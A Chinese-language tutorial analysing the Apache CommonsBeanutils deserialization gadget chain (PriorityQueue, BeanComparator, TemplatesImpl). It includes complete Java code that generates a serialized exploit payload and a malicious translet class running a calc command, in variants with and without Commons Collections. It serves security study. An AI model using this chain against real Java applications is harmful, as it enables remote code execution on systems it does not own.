commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包,里面提供了各种各样的工具类,让我们可以很方便的对 bean 对象的属性进行各种操作
其中比较常使用的有
- MethodUtils
- ConstructorUtils
- PropertyUtils
- BeanUtils
- ConvertUtils
在CC利用链中,有这样一条链:
PriorityQueue TransformingComparator ChainedTransformer InstantiateTransformer TemplatesImpl
由 TransformingComparator 触发 ChainedTransformer ,从而实例化 TemplatesImpl
那能不能找到一个 Comparator,绕过中间复杂过程,直接实例化 TemplatesImpl 呢?
于是有了 CommonsBeanutils 这条链
JAVA环境
java version "1.8.0_74"
Java(TM) SE Runtime Environment (build 1.8.0_74-b02)
Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode)
依赖版本
- Apache Commons Collections 依赖版本:commons-collections : <= 3.2.2
- Apache Commons Beanutils 依赖版本:commons-beanutils : <= 1.10.1
检查依赖配置
确认项目中是否正确引入了
- Apache Commons Collections
- Apache Commons Beanutils
的依赖。如果使用的是 Maven,可以在 pom.xml
文件中添加以下依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.1</version>
</dependency>
资源下载
- maven Apache Commons Collections
- maven Apache Commons Beanutils
- Java8下载
- Commons Collections源码
- Commons Beanutils源码
前置知识
PropertyUtils
org.apache.commons.beanutils.PropertyUtils
类使用 Java 反射 API 来调用 Java 对象上的通用属性 getter
和 setter
操作的实用方法
而这些方法的具体使用逻辑其实是由 org.apache.commons.beanutils.PropertyUtilsBean
来实现的
getProperty
PropertyUtilsBean
类有个共有静态方法 getProperty
,接收两个参数
- bean (类对象)
- name(属性名)
方法会返回这个类的这个属性的值
public Object getProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {
return (getNestedProperty(bean, name));
}
这就类似于一个 Field 的反射工具类,不过不是直接使用反射取值,而是使用反射调用其 getter 方法取值
那么既然可以触发 getter,那就可以像 fastjson 一样来触发 TemplatesImpl
的 getOutputProperties
方法,触发后续的调用链
接下来就是找哪里调用了 getProperty
方法,最后找到了 BeanComparator
类
BeanComparator - chain
org.apache.commons.beanutils.BeanComparator
是 commons-beanutils 提供的用来比较两个 JavaBean 是否相等的类,其实现了java.util.Comparator
接口
public BeanComparator( String property ) {
this( property, ComparableComparator.getInstance() );
}
public BeanComparator( String property, Comparator comparator ) {
setProperty( property );
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
compare
BeanComparator
的 compare 方法接收两个对象- 分别调用
PropertyUtils.getProperty
方法获取两个对象的 property 属性的值 - 然后调用实例化时初始化的 comparator 的 compare 方法进行比较
public int compare( Object o1, Object o2 ) {
if ( property == null ) {
// compare the actual objects
return comparator.compare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
...
}
有了这个方法,就构造了完整的调用链
攻击构造
包含CC链
恶意代码主体
public void CommonBeanUtilsWithCC() throws Exception {
// 初始化 PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");
PriorityQueueWithTemplatesImpl(queue);
// 初始化 BeanComparator
BeanComparator beanComparator = new BeanComparator("outputProperties");
// 反射将 BeanComparator 写入 PriorityQueue 中
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, beanComparator);
writeObjectToFile(queue, fileName);
readFileObject(fileName);
}
PriorityQueue处理
protected void PriorityQueueWithTemplatesImpl(PriorityQueue<Object> queue) throws IOException, NoSuchFieldException, IllegalAccessException {
// 读取恶意类存到 bytes[] 数组中
byte[] bytes = Files.readAllBytes(Paths.get("D:\\CommonBeanUtils.class"));
// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "neolock");
// 反射将 TemplatesImpl 放在 PriorityQueue 里
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(queue);
objects[0] = tmpl;
return ;
}
恶意类构造
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
public class CommonBeanUtils extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
// No implementation needed
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {
// No implementation needed
}
}
以上代码可成功构造反序列化利用,但是有一个问题是,由于 BeanComparator
的默认 comparator 是 ComparableComparator
而ComparableComparator
是个 CommonCollections 中的类,导致了这明明是一条 CB 的触发链,却要同时依赖 CC,增加了很多利用的限制
那该如何逃出 CC 的依赖呢?
无CC利用链
在实例化 BeanComparator
时赋予其一个 JDK 自带的并且实现了 Serializable
接口的 comparator 即可逃出 CC 的依赖,比如:
java.util.Collections$ReverseComparator
java.lang.String$CaseInsensitiveComparator
通过反射实例化 Comparator ,并在 BeanComparator 初始化时进行指定即可,这样就可以无需 CC 的依赖触发 CB 链了
恶意代码主体
public void CommonBeanUtilsWithoutCC() throws Exception {
// 初始化 PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");
PriorityQueueWithTemplatesImpl(queue);
// 初始化 String$CaseInsensitiveComparator
Class c = Class.forName("java.lang.String$CaseInsensitiveComparator");
// Class c = Class.forName("java.util.Collections$ReverseComparator");
Constructor constructor = c.getDeclaredConstructor();
constructor.setAccessible(true);
Comparator comparator = (Comparator<?>) constructor.newInstance();
// 初始化 BeanComparator
BeanComparator beanComparator = new BeanComparator("outputProperties", comparator);
// 反射将 BeanComparator 写入 PriorityQueue 中
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, beanComparator);
writeObjectToFile(queue, fileName);
readFileObject(fileName);
}
PriorityQueue处理以及恶意类构造跟之前一致
总结
利用说明
- PriorityQueue 反序列化时调用 BeanComparator 的 compare
- 这个方法反射调用 TemplatesImpl 的
getOutputProperties
方法触发恶意类的实例化
在CC链中,我们对于TemplatesImpl更多地是调用他的newTransformer
方法
不知道读者是否还记得在CC2的文章 (点击回顾) 中初次提到TemplatesImpl
时有说过:
不调用
newTransformer
方法而是调用getOutputProperties
方法完全可行,不用拘泥于newTransformer
在CB链中,我们就用到了getOutputProperties
方法
Gadget 总结
- kick-off gadget:
java.util.PriorityQueue#readObject
- sink gadget:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
- chain gadget:
org.apache.commons.beanutils.BeanComparator#compare
调用链展示
PriorityQueue.readObject()
BeanComparator.compare()
PropertyUtils.getProperty()
PropertyUtilsBean.getProperty()
TemplatesImpl.getOutputProperties()